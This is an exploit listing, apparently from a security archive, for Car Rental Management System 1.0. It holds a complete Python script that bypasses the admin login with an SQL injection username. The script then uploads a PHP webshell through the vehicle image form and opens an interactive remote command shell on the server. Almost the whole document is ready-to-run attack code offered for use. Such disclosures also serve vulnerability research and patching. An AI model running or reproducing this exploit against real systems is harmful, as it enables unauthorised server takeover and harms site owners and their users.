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Car Rental Management System 1.0 Remote Code Execution

Car Rental Management System 1.0 Remote Code Execution
Posted Aug 4, 2020
Authored by hyd3sec

Car Rental Management System version 1.0 unauthenticated remote code execution exploit.

tags | exploit, remote, code execution
MD5 | fc76a860fbf88ef19ed2574d10b76719

Car Rental Management System 1.0 Remote Code Execution

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# Exploit Title: Car Rental Management System v1.0 - Unauthenticated RCE
# Exploit Author: Adeeb Shah (@hyd3sec)
# Shout out: Bobby Cooke (boku)
# Date: August 3, 2020
# Vendor Homepage: https://projectworlds.in
# Software Link: https://projectworlds.in/free-projects/php-projects/car-rental-project-in-php-and-mysql/
# Version: 1.0
# Tested On: Windows 10 (x64_86) + XAMPP | Python 2.7
# Vulnerability Description:
# Car Rental Management System v1.0 suffers from a SQLi authentication bypass allowing remote attackers
# to gain remote code execution (RCE) on the hosting webserver via uploading a maliciously crafted image.

import requests, sys, re
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
F = [Fore.RESET,Fore.BLACK,Fore.RED,Fore.GREEN,Fore.YELLOW,Fore.BLUE,Fore.MAGENTA,Fore.CYAN,Fore.WHITE]
B = [Back.RESET,Back.BLACK,Back.RED,Back.GREEN,Back.YELLOW,Back.BLUE,Back.MAGENTA,Back.CYAN,Back.WHITE]
S = [Style.RESET_ALL,Style.DIM,Style.NORMAL,Style.BRIGHT]
info = S[3]+F[5]+'['+S[0]+S[3]+'-'+S[3]+F[5]+']'+S[0]+' '
err = S[3]+F[2]+'['+S[0]+S[3]+'!'+S[3]+F[2]+']'+S[0]+' '
ok = S[3]+F[3]+'['+S[0]+S[3]+'+'+S[3]+F[3]+']'+S[0]+' '

def webshell(SERVER_URL, WEBSHELL_PATH, session):
try:
WEB_SHELL = SERVER_URL + WEBSHELL_PATH
print(info+"Webshell URL: "+ WEB_SHELL)
getdir = {'s33k': 'echo %CD%'}
req = session.post(url=WEB_SHELL, data=getdir, verify=False)
status = req.status_code
if status != 200:
print(err+"Could not connect to the webshell.")
req.raise_for_status()
print(ok+'Successfully connected to webshell.')
cwd = re.findall('[CDEF].*', req.text)
cwd = cwd[0]+"> "
term = S[3]+F[3]+cwd+F[0]
print(F[0]+'......................'+' Remote Code Execution '+F[0]+'.....................')
while True:
cmd = raw_input(term)
command = {'s33k': cmd}
req = requests.post(WEB_SHELL, data=command, verify=False)
status = req.status_code
if status != 200:
req.raise_for_status()
resp= req.text
print(resp)
except:
print('\r\n'+err+'Webshell session failed. Quitting.')
sys.exit(-1)

def SIG():
SIG = S[1]+" ,(&@@@@* ,@@@@@@%( \n"
SIG += " &@@@@@@@@@@@@@@@& @@@@@@@@@@@@@( \n"
SIG += " *@@@@@@@@@@@@%@@@@@@ ,, `''@@@/ ,@@ \n"
SIG += " @@@@@@@@@# /@@@@@@ #@@@@@@@@@&. * /@@@@@@ \n"
SIG += " @@(@@@@@ /@@@@@@ @@@@@@@@@@@@@@@` @@@@@@ @@ \n"
SIG += " @@ , @@@@@@@@ #@@@@@@@@@@@@@@ &@@@ %@.\n"
SIG += " @@ %@@@@@@@@@@ %@@@@@@@@@@@@@@. /@#\n"
SIG += " %@ /@@@@@@@@@@ &@@@@@@@@@@ &@ \n"
SIG += " @@ # ...*&@@@@@@@@@@@* @@ \n"
SIG += " ,&@@@@& /@@@@"+S[0]+S[3]+"@hyd3sec"+S[0]+S[1]+"@@@@@ (@@@@@% \n"
SIG += " @@@@ (@@%@@@@@@@@@/@@ *@@@% \n"
SIG += " @@@@@@,*@@@@@ %@@@@@@ \n"
SIG += " @@@@@# @ @@@@@% \n"
SIG += " &@@@@@ @@@@@ \n"
SIG += " @@@@@@ @@@@@* \n"
SIG += " (@@@@@@@@@@@ \n"
SIG += " @@&%@@@ @@@ \n"
SIG += " @@( @@ @@ \n"
SIG += " &* & @ \n"
return SIG

def formatHelp(STRING):
return S[3]+F[2]+STRING+S[0]

def header():
head = S[2]+F[4]+' --- Car Rental Management System v1.0 - Unauthenticated Remote Code Execution (RCE) ---\n'+S[0]
return head

if __name__ == "__main__":
#1 | INIT
print(header())
print(SIG())
if len(sys.argv) != 2:
print(err+formatHelp("Usage:\t python %s <WEBAPP_URL>" % sys.argv[0]))
print(err+formatHelp("Example:\t python %s 'http://192.168.222.132/car-Rental-syatem-PHP-MYSQL-master/'" % sys.argv[0]))
sys.exit(-1)
# python CLI Arguments
SERVER_URL = sys.argv[1]
# URLs
LOGIN_URL = sys.argv[1] + 'login.php'
UPLOAD_URL = SERVER_URL + 'admin/add_cars.php'
#BYPASS VARS
USERNAME = '\' or 1=1-- admin'
PASSWORD = 'hyd3secboku'

#2 | Create Session
# Create a web session in python
s = requests.Session()
# GET request to webserver - Start a session & retrieve a session cookie
get_session = s.get(sys.argv[1], verify=False)
# Check connection to website & print session cookie to terminal OR die
if get_session.status_code == 200:
print(ok+'Successfully connected to Car Rental Management System server & created session.')
print(info+"Session Cookie: " + get_session.headers['Set-Cookie'])
else:
print(err+'Cannot connect to the server and create a web session.')
sys.exit(-1)
# POST data to bypass authentication as admin
login_data = {'uname':USERNAME, 'pass':PASSWORD,'login':'Login Here'}
print(info+"Attempting to Bypass Admin Login")
#auth = s.post(url=LOGIN_URL, data=login_data, verify=False, proxies=proxies)
auth = s.post(url=LOGIN_URL, data=login_data, verify=False)
loginchk = str(re.findall(r'Login Successful', auth.text))
# print(loginchk) # Debug - search login response for successful login
if loginchk == "[u'Login Successful']":
print(ok+"Bypass successful.")
else:
print(err+"Failed login. Check admin username.")
sys.exit(-1)

#3 | File Upload
PNG_magicBytes = '\x87\x50\x4e\x47\x0d\x0a\x1a'
# Content-Disposition: form-data; name="image"; filename="file.php"
# Content-Type: application/x-php
websh = {
'image':
(
'hyd3.php',
'<?php echo shell_exec($_REQUEST["s33k"]); ?>',
'image/png',
{'Content-Disposition': 'form-data'}
)
}
fdata = {'send':'lolz'}
print(info+"Exploiting vehicle image file upload vulnerability to upload a PHP webshell")
#upload_car = s.post(url=UPLOAD_URL, files=websh, data=fdata, verify=False, proxies=proxies)
upload_car = s.post(url=UPLOAD_URL, files=websh, data=fdata, verify=False)

#4 | Get Webshell Upload Name
uploadchk = re.findall(r'Vehicle Succesfully Added', upload_car.text)
#print uploadchk[0]
#uploadchk = uploadchk[0]
# print(uploadchk) # Debug - Find webshell file upload in response
#print uploadchk
#uploadchk = uploadchk[0]
if uploadchk[0] == "Vehicle Succesfully Added":
print(ok+"Successfully uploaded webshell")
else:
print(err+"Webshell upload failed.")
sys.exit(-1)
webshPath = 'cars/hyd3.php'
print(info+"Webshell Filename: " + webshPath)

#5 | interact with webshell for Remote Command Execution
webshell(SERVER_URL, webshPath, s)
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